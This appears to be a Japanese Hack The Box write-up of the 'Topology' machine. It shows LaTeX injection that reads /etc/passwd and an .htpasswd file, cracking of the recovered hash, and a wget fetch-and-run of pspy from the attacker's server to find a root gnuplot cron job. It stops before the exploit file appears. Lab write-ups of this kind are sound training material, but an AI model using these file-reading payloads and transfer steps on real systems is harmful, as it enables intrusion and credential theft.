初めに
どうも、クソ雑魚のなんちゃてエンジニアです。
本記事は Hack The Box(以下リンク参照) の「Topology」にチャレンジした際の WriteUp になります。
※以前までのツールの使い方など詳細を書いたものではないのでご了承ください。
※悪用するのはやめてください。あくまで社会への貢献のためにこれらの技術を使用してください。法に触れるので。
Discovery
ポートスキャン
今回はRustScanで高速スキャンしてみた。(はっや)
┌──(root㉿kali)-[~]
└─# rustscan -a 10.10.11.217 --top --ulimit 5000
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
Please contribute more quotes to our GitHub https://github.com/rustscan/rustscan
[~] The config file is expected to be at "/root/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.217:22
Open 10.10.11.217:80
[~] Starting Script(s)
[>] Script to be run Some("nmap -vvv -p {{port}} {{ip}}")
[~] Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-11 05:30 EDT
Initiating Ping Scan at 05:30
Scanning 10.10.11.217 [4 ports]
Completed Ping Scan at 05:30, 0.23s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 05:30
Completed Parallel DNS resolution of 1 host. at 05:30, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 05:30
Scanning 10.10.11.217 [2 ports]
Discovered open port 22/tcp on 10.10.11.217
Discovered open port 80/tcp on 10.10.11.217
Completed SYN Stealth Scan at 05:30, 0.23s elapsed (2 total ports)
Nmap scan report for 10.10.11.217
Host is up, received echo-reply ttl 63 (0.19s latency).
Scanned at 2023-06-11 05:30:33 EDT for 0s
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.60 seconds
Raw packets sent: 6 (240B) | Rcvd: 3 (116B)
ポート22、80が公開されてそう。
アクセスしてみる。
BurpでResponseを調査すると以下のような記載のある個所を発見する。
ドメインがtopology.htb
、サブドメインでlatex
があるみたいだ。
ドメイン周りの設定をしていくか。
Collection
ドメイン環境設定
今回BOX環境にDNSはないので、自身のkalilinuxで名前解決できるようにする。
┌──(root💀kali)-[~/work]
└─# vim /etc/hosts
以下を投入。
10.10.11.216 topology.htb latex.topology.htb
疎通確認を行う。
┌──(root㉿kali)-[~]
└─# ping topology.htb
サイト探索
Subdomain探索
以下サイトからサブドメインのリストをダウンロード
┌──(root💀kali)-[~/work]
└─# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/bitquark-subdomains-top100000.txt
ffuf
で探索。
┌──(root㉿kali)-[~/work]
└─# ffuf -w bitquark-subdomains-top100000.txt:FUZZ -u http://topology.htb/ -H "HOST: FUZZ.topology.htb" -fs 6767 -t 150
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v2.0.0-dev
________________________________________________
:: Method : GET
:: URL : http://topology.htb/
:: Wordlist : FUZZ: /root/work/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.topology.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 150
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 6767
________________________________________________
[Status: 401, Size: 463, Words: 42, Lines: 15, Duration: 796ms]
* FUZZ: dev
[Status: 200, Size: 108, Words: 5, Lines: 6, Duration: 5902ms]
* FUZZ: stats
dev
とstats
が追加で見つかった。これも追加でドメイン設定する。
ブラウザアクセス
実際にアクセスしてみる。
latex.topology.htb
dev.topology.htb
stats.topology.htb
ディレクトリ探索
stats
の階層を調べてみる。
┌──(root㉿kali)-[~/work]
└─# dirsearch -u http://stats.topology.htb/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10927
Output File: /root/.dirsearch/reports/stats.topology.htb/-_23-06-11_06-27-22.txt
Error Log: /root/.dirsearch/logs/errors-23-06-11_06-27-22.log
Target: http://stats.topology.htb/
[06:27:23] Starting:
[06:27:46] 403 - 283B - /.ht_wsr.txt
[06:27:46] 403 - 283B - /.htaccess.sample
[06:27:46] 403 - 283B - /.htaccess.orig
[06:27:46] 403 - 283B - /.htaccess.save
[06:27:46] 403 - 283B - /.htaccess.bak1
[06:27:47] 403 - 283B - /.htaccess_sc
[06:27:47] 403 - 283B - /.htaccessBAK
[06:27:47] 403 - 283B - /.htaccessOLD
[06:27:47] 403 - 283B - /.htaccessOLD2
[06:27:47] 403 - 283B - /.htaccess_extra
[06:27:47] 403 - 283B - /.htaccess_orig
[06:27:47] 403 - 283B - /.htm
[06:27:47] 403 - 283B - /.html
[06:27:47] 403 - 283B - /.htpasswds
[06:27:47] 403 - 283B - /.htpasswd_test
[06:27:47] 403 - 283B - /.httr-oauth
[06:28:00] 403 - 283B - /.php
[06:35:49] 301 - 324B - /files -> http://stats.topology.htb/files/
[06:35:49] 200 - 1KB - /files/
[06:36:48] 200 - 108B - /index.html
[06:37:06] 301 - 329B - /javascript -> http://stats.topology.htb/javascript/
[06:41:30] 403 - 283B - /server-status/
[06:41:30] 403 - 283B - /server-status
[06:44:11] 403 - 283B - /~backup
[06:44:11] 403 - 283B - /~bin
[06:44:11] 403 - 283B - /~daemon
[06:44:11] 403 - 283B - /~games
[06:44:11] 403 - 283B - /~gdm
[06:44:13] 403 - 283B - /~lp
[06:44:13] 403 - 283B - /~mail
[06:44:13] 403 - 283B - /~nobody
[06:44:13] 403 - 283B - /~news
[06:44:14] 403 - 283B - /~sync
[06:44:16] 403 - 283B - /~uucp
何もなさすぎる。
情報収集はこのくらいにしてlatex.topology.htbのファイル達を調べていこうと思う。
Initial Access
LFI
latex.topology.htbの中でParameterを飛ばすことが出来るのはequation.php
くらいだった。
ブラウザアクセスの画面はこんな感じ。
何やらLaTexの表記を画像化して返してくれる機能を持っているみたいだ。
LaTexのHackingに関しては以下のサイトで勉強を行った(大学生と研究者くらいじゃないか?この言語触ってるの...)
これらのLaTexを少し試してみる。\lstinputlisting{/etc/passwd}
を試してみよう。
通ってるみたいだが、Responseが何も見えない(通常であればPNGファイルが帰ってくるはず...)。
ただLaTexのコードが通りそうなことは分かった。
ここでRCEやWrite系のLaTex構文のHackingを行うと痛い目を見る。大体がマシンによってフィルタリングされてエラーが帰ってくる。先ほどみたいにHTTP 200OKが帰ってこないのだ。
これで私はLaTex構文の作成に数時間を費やした。
LaTexについて調べていると以下のサイトを発見する。
$
で囲うことでmathモードで特殊文字をそのまま出力出来るみたいだ。
これで画像として出力できるのではと考える。
※出力できないので内部で何かを作ったり、コマンドを打ったりすることに方針を向けるのではなく、出力に合わせる方向でExploitを構築するべきだった。
htpassed
何か情報がないか探っていくのだが、今回は以下のようにApache HTTP Serverを利用しているみたいだ。
ここら辺の階層を探っていく。
/etc/httpd/conf/httpd.conf
がなかったので、/etc/apache2/sites-available/000-default.conf
を探る。
以下のようにResponseがあった。
サブドメインがない階層だ。
dev
の階層。
stats
の階層。
そういえばdev
にはBasic認証があったので.htpasswd
があるのではないかということで、/var/www/dev/.htpasswd
を探る。
あった!クレデンシャルだ!
Credential Access
以下のファイルを作成する。ここら辺の文字列はOCRでうまく切り出して欲しい。
vdaisley:$apr1$1ONUB/S2$58eeNVirnRDB5zAIbIxTY0
Johnさんで解析してもらう。
┌──(root㉿kali)-[~/work]
└─# john hash --wordlist=./rockyou.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
パスワードげっちゅ!!!このクレデンシャルでSSHしてみる。
いった!!!User権限ゲット!
Privilege Escalation
情報収集
sudo -l
No Passで特権コマンド打てないかなぁとか思いながらsudo -l
で確認します
vdaisley@topology:~$ sudo -l
[sudo] password for vdaisley:
Sorry, user vdaisley may not run sudo on topology.
vdaisley@topology:~$
なにもない。
pspy
何かいいプロセス動いてないかなぁ~とか思いながらpspy動かします。
pspyの実行ファイルを以下のサイトから入手。64bit版をダウンロードしましょう。
入手後はターゲットに実行ファイルを送信するために簡易的なWebサーバを立ち上げます。
┌──(root💀kali)-[~/work]
└─# python3 -m http.server 80
攻撃対象サーバからこのファイルをダウンロードしてくるので自分のIPを確認しておきます。
※この場合はtun0
┌──(root💀kali)-[~/work]
└─# ip a 1 ⨯
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
...
11: tun0: <POINTOPOINT,MULTICAST,NOARP,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast state UNKNOWN group default qlen 500
link/none
inet 10.10.14.93/23 scope global tun0
valid_lft forever preferred_lft forever
inet6 dead:beef:2::101a/64 scope global
valid_lft forever preferred_lft forever
inet6 fe80::cf43:caa1:e355:737d/64 scope link stable-privacy
valid_lft forever preferred_lft forever
攻撃対象サーバへ転送します。
vdaisley@topology:/tmp$ wget http://10.10.14.93/pspy64
chmod +x ./pspy64
をして実行!
vdaisley@topology:/tmp$ ./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2023/06/15 10:24:37 CMD: UID=1007 PID=18780 | ./pspy64
2023/06/15 10:24:37 CMD: UID=33 PID=18158 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18157 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18156 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18155 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18154 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=18153 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=1007 PID=10749 | /usr/bin/gpg-agent --supervised
2023/06/15 10:24:37 CMD: UID=33 PID=9862 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=1007 PID=4499 | -bash
2023/06/15 10:24:37 CMD: UID=1007 PID=4498 | sshd: vdaisley@pts/1
2023/06/15 10:24:37 CMD: UID=0 PID=4427 | sshd: vdaisley [priv]
2023/06/15 10:24:37 CMD: UID=33 PID=1610 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1264 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1263 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1261 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1260 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1259 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=1007 PID=1205 | -bash
2023/06/15 10:24:37 CMD: UID=1007 PID=1202 | sshd: vdaisley@pts/0
2023/06/15 10:24:37 CMD: UID=1007 PID=1162 | /usr/bin/dbus-daemon --session --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2023/06/15 10:24:37 CMD: UID=113 PID=1139 | /usr/libexec/rtkit-daemon
2023/06/15 10:24:37 CMD: UID=1007 PID=1118 | /usr/bin/pulseaudio --daemonize=no --log-target=journal
2023/06/15 10:24:37 CMD: UID=1007 PID=1107 | (sd-pam)
2023/06/15 10:24:37 CMD: UID=1007 PID=1106 | /lib/systemd/systemd --user
2023/06/15 10:24:37 CMD: UID=33 PID=1068 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1067 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1065 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1064 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1060 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1057 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1056 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=1055 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=0 PID=1054 |
2023/06/15 10:24:37 CMD: UID=33 PID=992 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=991 |
2023/06/15 10:24:37 CMD: UID=0 PID=988 | sshd: vdaisley [priv]
2023/06/15 10:24:37 CMD: UID=33 PID=969 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=967 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=33 PID=965 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=0 PID=963 | /usr/sbin/apache2 -k start
2023/06/15 10:24:37 CMD: UID=0 PID=962 | /sbin/agetty -o -p -- \u --noclear tty1 linux
2023/06/15 10:24:37 CMD: UID=0 PID=952 | sshd: /usr/sbin/sshd -D [listener] 0 of 10-100 startups
2023/06/15 10:24:37 CMD: UID=1 PID=951 | /usr/sbin/atd -f
2023/06/15 10:24:37 CMD: UID=0 PID=950 | /usr/bin/python3 /usr/bin/fail2ban-server -xf start
2023/06/15 10:24:37 CMD: UID=0 PID=935 | /usr/sbin/cron -f
2023/06/15 10:24:37 CMD: UID=101 PID=883 | /lib/systemd/systemd-resolved
2023/06/15 10:24:37 CMD: UID=0 PID=782 | /usr/sbin/ModemManager
2023/06/15 10:24:37 CMD: UID=117 PID=771 | avahi-daemon: chroot helper
2023/06/15 10:24:37 CMD: UID=0 PID=766 | /sbin/wpa_supplicant -u -s -O /run/wpa_supplicant
2023/06/15 10:24:37 CMD: UID=0 PID=765 | /usr/lib/udisks2/udisksd
2023/06/15 10:24:37 CMD: UID=0 PID=764 | /lib/systemd/systemd-logind
2023/06/15 10:24:37 CMD: UID=104 PID=760 | /usr/sbin/rsyslogd -n -iNONE
2023/06/15 10:24:37 CMD: UID=0 PID=746 | /usr/lib/policykit-1/polkitd --no-debug
2023/06/15 10:24:37 CMD: UID=0 PID=745 | /usr/bin/python3 /usr/bin/networkd-dispatcher --run-startup-triggers
2023/06/15 10:24:37 CMD: UID=0 PID=739 | /usr/sbin/irqbalance --foreground
2023/06/15 10:24:37 CMD: UID=0 PID=725 | /usr/sbin/NetworkManager --no-daemon
2023/06/15 10:24:37 CMD: UID=103 PID=717 | /usr/bin/dbus-daemon --system --address=systemd: --nofork --nopidfile --systemd-activation --syslog-only
2023/06/15 10:24:37 CMD: UID=117 PID=715 | avahi-daemon: running [topology.local]
2023/06/15 10:24:37 CMD: UID=0 PID=714 | /usr/lib/accountsservice/accounts-daemon
2023/06/15 10:24:37 CMD: UID=0 PID=693 |
2023/06/15 10:24:37 CMD: UID=0 PID=674 | /sbin/dhclient -1 -4 -v -i -pf /run/dhclient.eth0.pid -lf /var/lib/dhcp/dhclient.eth0.leases -I -df /var/lib/dhcp/dhclient6.eth0.leases eth0
2023/06/15 10:24:37 CMD: UID=0 PID=668 | /usr/bin/vmtoolsd
2023/06/15 10:24:37 CMD: UID=0 PID=644 | /usr/bin/VGAuthService
2023/06/15 10:24:37 CMD: UID=102 PID=630 | /lib/systemd/systemd-timesyncd
2023/06/15 10:24:37 CMD: UID=0 PID=624 | /sbin/auditd
2023/06/15 10:24:37 CMD: UID=0 PID=596 | /sbin/multipathd -d -s
2023/06/15 10:24:37 CMD: UID=0 PID=595 |
2023/06/15 10:24:37 CMD: UID=0 PID=594 |
2023/06/15 10:24:37 CMD: UID=0 PID=592 |
2023/06/15 10:24:37 CMD: UID=0 PID=591 |
2023/06/15 10:24:37 CMD: UID=0 PID=532 |
2023/06/15 10:24:37 CMD: UID=0 PID=496 | /lib/systemd/systemd-udevd
2023/06/15 10:24:37 CMD: UID=0 PID=486 |
2023/06/15 10:24:37 CMD: UID=0 PID=468 | /lib/systemd/systemd-journald
2023/06/15 10:24:37 CMD: UID=0 PID=414 |
2023/06/15 10:24:37 CMD: UID=0 PID=413 |
2023/06/15 10:24:37 CMD: UID=0 PID=362 |
2023/06/15 10:24:37 CMD: UID=0 PID=339 |
2023/06/15 10:24:37 CMD: UID=0 PID=333 |
2023/06/15 10:24:37 CMD: UID=0 PID=331 |
2023/06/15 10:24:37 CMD: UID=0 PID=330 |
2023/06/15 10:24:37 CMD: UID=0 PID=327 |
2023/06/15 10:24:37 CMD: UID=0 PID=326 |
2023/06/15 10:24:37 CMD: UID=0 PID=325 |
2023/06/15 10:24:37 CMD: UID=0 PID=301 |
2023/06/15 10:24:37 CMD: UID=0 PID=300 |
2023/06/15 10:24:37 CMD: UID=0 PID=299 |
2023/06/15 10:24:37 CMD: UID=0 PID=298 |
2023/06/15 10:24:37 CMD: UID=0 PID=297 |
2023/06/15 10:24:37 CMD: UID=0 PID=296 |
2023/06/15 10:24:37 CMD: UID=0 PID=295 |
2023/06/15 10:24:37 CMD: UID=0 PID=294 |
2023/06/15 10:24:37 CMD: UID=0 PID=293 |
2023/06/15 10:24:37 CMD: UID=0 PID=292 |
2023/06/15 10:24:37 CMD: UID=0 PID=291 |
2023/06/15 10:24:37 CMD: UID=0 PID=290 |
2023/06/15 10:24:37 CMD: UID=0 PID=289 |
2023/06/15 10:24:37 CMD: UID=0 PID=288 |
2023/06/15 10:24:37 CMD: UID=0 PID=287 |
2023/06/15 10:24:37 CMD: UID=0 PID=286 |
2023/06/15 10:24:37 CMD: UID=0 PID=285 |
2023/06/15 10:24:37 CMD: UID=0 PID=284 |
2023/06/15 10:24:37 CMD: UID=0 PID=283 |
2023/06/15 10:24:37 CMD: UID=0 PID=282 |
2023/06/15 10:24:37 CMD: UID=0 PID=280 |
2023/06/15 10:24:37 CMD: UID=0 PID=279 |
2023/06/15 10:24:37 CMD: UID=0 PID=263 |
2023/06/15 10:24:37 CMD: UID=0 PID=262 |
2023/06/15 10:24:37 CMD: UID=0 PID=257 |
2023/06/15 10:24:37 CMD: UID=0 PID=243 |
2023/06/15 10:24:37 CMD: UID=0 PID=242 |
2023/06/15 10:24:37 CMD: UID=0 PID=241 |
2023/06/15 10:24:37 CMD: UID=0 PID=240 |
2023/06/15 10:24:37 CMD: UID=0 PID=239 |
2023/06/15 10:24:37 CMD: UID=0 PID=238 |
2023/06/15 10:24:37 CMD: UID=0 PID=237 |
2023/06/15 10:24:37 CMD: UID=0 PID=236 |
2023/06/15 10:24:37 CMD: UID=0 PID=235 |
2023/06/15 10:24:37 CMD: UID=0 PID=234 |
2023/06/15 10:24:37 CMD: UID=0 PID=233 |
2023/06/15 10:24:37 CMD: UID=0 PID=232 |
2023/06/15 10:24:37 CMD: UID=0 PID=231 |
2023/06/15 10:24:37 CMD: UID=0 PID=230 |
2023/06/15 10:24:37 CMD: UID=0 PID=229 |
2023/06/15 10:24:37 CMD: UID=0 PID=228 |
2023/06/15 10:24:37 CMD: UID=0 PID=227 |
2023/06/15 10:24:37 CMD: UID=0 PID=226 |
2023/06/15 10:24:37 CMD: UID=0 PID=225 |
2023/06/15 10:24:37 CMD: UID=0 PID=224 |
2023/06/15 10:24:37 CMD: UID=0 PID=223 |
2023/06/15 10:24:37 CMD: UID=0 PID=222 |
2023/06/15 10:24:37 CMD: UID=0 PID=221 |
2023/06/15 10:24:37 CMD: UID=0 PID=220 |
2023/06/15 10:24:37 CMD: UID=0 PID=219 |
2023/06/15 10:24:37 CMD: UID=0 PID=218 |
2023/06/15 10:24:37 CMD: UID=0 PID=217 |
2023/06/15 10:24:37 CMD: UID=0 PID=216 |
2023/06/15 10:24:37 CMD: UID=0 PID=215 |
2023/06/15 10:24:37 CMD: UID=0 PID=214 |
2023/06/15 10:24:37 CMD: UID=0 PID=213 |
2023/06/15 10:24:37 CMD: UID=0 PID=212 |
2023/06/15 10:24:37 CMD: UID=0 PID=211 |
2023/06/15 10:24:37 CMD: UID=0 PID=210 |
2023/06/15 10:24:37 CMD: UID=0 PID=209 |
2023/06/15 10:24:37 CMD: UID=0 PID=208 |
2023/06/15 10:24:37 CMD: UID=0 PID=207 |
2023/06/15 10:24:37 CMD: UID=0 PID=206 |
2023/06/15 10:24:37 CMD: UID=0 PID=205 |
2023/06/15 10:24:37 CMD: UID=0 PID=204 |
2023/06/15 10:24:37 CMD: UID=0 PID=203 |
2023/06/15 10:24:37 CMD: UID=0 PID=202 |
2023/06/15 10:24:37 CMD: UID=0 PID=158 |
2023/06/15 10:24:37 CMD: UID=0 PID=157 |
2023/06/15 10:24:37 CMD: UID=0 PID=144 |
2023/06/15 10:24:37 CMD: UID=0 PID=141 |
2023/06/15 10:24:37 CMD: UID=0 PID=132 |
2023/06/15 10:24:37 CMD: UID=0 PID=130 |
2023/06/15 10:24:37 CMD: UID=0 PID=128 |
2023/06/15 10:24:37 CMD: UID=0 PID=127 |
2023/06/15 10:24:37 CMD: UID=0 PID=126 |
2023/06/15 10:24:37 CMD: UID=0 PID=125 |
2023/06/15 10:24:37 CMD: UID=0 PID=124 |
2023/06/15 10:24:37 CMD: UID=0 PID=123 |
2023/06/15 10:24:37 CMD: UID=0 PID=122 |
2023/06/15 10:24:37 CMD: UID=0 PID=121 |
2023/06/15 10:24:37 CMD: UID=0 PID=120 |
2023/06/15 10:24:37 CMD: UID=0 PID=119 |
2023/06/15 10:24:37 CMD: UID=0 PID=118 |
2023/06/15 10:24:37 CMD: UID=0 PID=117 |
2023/06/15 10:24:37 CMD: UID=0 PID=116 |
2023/06/15 10:24:37 CMD: UID=0 PID=115 |
2023/06/15 10:24:37 CMD: UID=0 PID=114 |
2023/06/15 10:24:37 CMD: UID=0 PID=113 |
2023/06/15 10:24:37 CMD: UID=0 PID=112 |
2023/06/15 10:24:37 CMD: UID=0 PID=111 |
2023/06/15 10:24:37 CMD: UID=0 PID=110 |
2023/06/15 10:24:37 CMD: UID=0 PID=109 |
2023/06/15 10:24:37 CMD: UID=0 PID=108 |
2023/06/15 10:24:37 CMD: UID=0 PID=107 |
2023/06/15 10:24:37 CMD: UID=0 PID=106 |
2023/06/15 10:24:37 CMD: UID=0 PID=105 |
2023/06/15 10:24:37 CMD: UID=0 PID=104 |
2023/06/15 10:24:37 CMD: UID=0 PID=103 |
2023/06/15 10:24:37 CMD: UID=0 PID=102 |
2023/06/15 10:24:37 CMD: UID=0 PID=101 |
2023/06/15 10:24:37 CMD: UID=0 PID=100 |
2023/06/15 10:24:37 CMD: UID=0 PID=99 |
2023/06/15 10:24:37 CMD: UID=0 PID=98 |
2023/06/15 10:24:37 CMD: UID=0 PID=97 |
2023/06/15 10:24:37 CMD: UID=0 PID=96 |
2023/06/15 10:24:37 CMD: UID=0 PID=95 |
2023/06/15 10:24:37 CMD: UID=0 PID=94 |
2023/06/15 10:24:37 CMD: UID=0 PID=93 |
2023/06/15 10:24:37 CMD: UID=0 PID=92 |
2023/06/15 10:24:37 CMD: UID=0 PID=91 |
2023/06/15 10:24:37 CMD: UID=0 PID=89 |
2023/06/15 10:24:37 CMD: UID=0 PID=88 |
2023/06/15 10:24:37 CMD: UID=0 PID=85 |
2023/06/15 10:24:37 CMD: UID=0 PID=84 |
2023/06/15 10:24:37 CMD: UID=0 PID=83 |
2023/06/15 10:24:37 CMD: UID=0 PID=82 |
2023/06/15 10:24:37 CMD: UID=0 PID=81 |
2023/06/15 10:24:37 CMD: UID=0 PID=80 |
2023/06/15 10:24:37 CMD: UID=0 PID=79 |
2023/06/15 10:24:37 CMD: UID=0 PID=78 |
2023/06/15 10:24:37 CMD: UID=0 PID=77 |
2023/06/15 10:24:37 CMD: UID=0 PID=35 |
2023/06/15 10:24:37 CMD: UID=0 PID=30 |
2023/06/15 10:24:37 CMD: UID=0 PID=29 |
2023/06/15 10:24:37 CMD: UID=0 PID=28 |
2023/06/15 10:24:37 CMD: UID=0 PID=27 |
2023/06/15 10:24:37 CMD: UID=0 PID=26 |
2023/06/15 10:24:37 CMD: UID=0 PID=25 |
2023/06/15 10:24:37 CMD: UID=0 PID=24 |
2023/06/15 10:24:37 CMD: UID=0 PID=23 |
2023/06/15 10:24:37 CMD: UID=0 PID=22 |
2023/06/15 10:24:37 CMD: UID=0 PID=21 |
2023/06/15 10:24:37 CMD: UID=0 PID=20 |
2023/06/15 10:24:37 CMD: UID=0 PID=18 |
2023/06/15 10:24:37 CMD: UID=0 PID=17 |
2023/06/15 10:24:37 CMD: UID=0 PID=16 |
2023/06/15 10:24:37 CMD: UID=0 PID=15 |
2023/06/15 10:24:37 CMD: UID=0 PID=14 |
2023/06/15 10:24:37 CMD: UID=0 PID=13 |
2023/06/15 10:24:37 CMD: UID=0 PID=12 |
2023/06/15 10:24:37 CMD: UID=0 PID=11 |
2023/06/15 10:24:37 CMD: UID=0 PID=10 |
2023/06/15 10:24:37 CMD: UID=0 PID=9 |
2023/06/15 10:24:37 CMD: UID=0 PID=8 |
2023/06/15 10:24:37 CMD: UID=0 PID=6 |
2023/06/15 10:24:37 CMD: UID=0 PID=5 |
2023/06/15 10:24:37 CMD: UID=0 PID=4 |
2023/06/15 10:24:37 CMD: UID=0 PID=3 |
2023/06/15 10:24:37 CMD: UID=0 PID=2 |
2023/06/15 10:24:37 CMD: UID=0 PID=1 | /sbin/init
2023/06/15 10:24:38 CMD: UID=33 PID=18789 | /usr/sbin/apache2 -k start
2023/06/15 10:24:39 CMD: UID=0 PID=18791 | /usr/sbin/apache2 -k start
2023/06/15 10:24:39 CMD: UID=0 PID=18790 | /usr/sbin/apache2 -k start
2023/06/15 10:24:40 CMD: UID=0 PID=18794 | /usr/sbin/apache2 -k start
2023/06/15 10:24:40 CMD: UID=0 PID=18793 | /usr/sbin/apache2 -k start
2023/06/15 10:24:40 CMD: UID=0 PID=18792 | /usr/sbin/apache2 -k start
2023/06/15 10:24:40 CMD: UID=0 PID=18795 | /usr/sbin/apache2 -k start
2023/06/15 10:25:02 CMD: UID=0 PID=18798 | /bin/sh -c /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18797 | /usr/sbin/CRON -f
2023/06/15 10:25:02 CMD: UID=0 PID=18796 | /usr/sbin/CRON -f
2023/06/15 10:25:02 CMD: UID=0 PID=18803 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18802 | tr -s
2023/06/15 10:25:02 CMD: UID=0 PID=18801 | grep enp
2023/06/15 10:25:02 CMD: UID=0 PID=18800 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18799 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18807 |
2023/06/15 10:25:02 CMD: UID=0 PID=18806 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18805 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18804 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18808 | /usr/sbin/CRON -f
2023/06/15 10:25:02 CMD: UID=0 PID=18810 | gnuplot /opt/gnuplot/loadplot.plt
2023/06/15 10:25:02 CMD: UID=0 PID=18809 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/06/15 10:25:02 CMD: UID=0 PID=18811 | /bin/sh /opt/gnuplot/getdata.sh
2023/06/15 10:25:02 CMD: UID=0 PID=18812 | tail -60 /opt/gnuplot/loaddata.dat
2023/06/15 10:25:02 CMD: UID=0 PID=18814 | find /opt/gnuplot -name *.plt -exec gnuplot {} ;
2023/06/15 10:25:03 CMD: UID=0 PID=18815 | /lib/systemd/systemd-udevd
/opt/gnuplot
階層で色々と動いてる。
実際に見に行ってみる。
あー、Write権限だけあるのか。ならここにExploitファイルを作成してプロセスが回るのを待つ方向で行こう!
gnuplot
getdata.sh
を編集してもうまくいかなかったので以下のコマンドに注目する。
find /opt/gnuplot -name *.plt -exec gnuplot {} ;
.plt
ファイルを見つけて、gnuplt
コマンドで実行している。
gnuplt
でのコマンド実行については以下のサイトを参考にした。
Exploitファイルを以下のように/opt/gnuplot
に作成する。
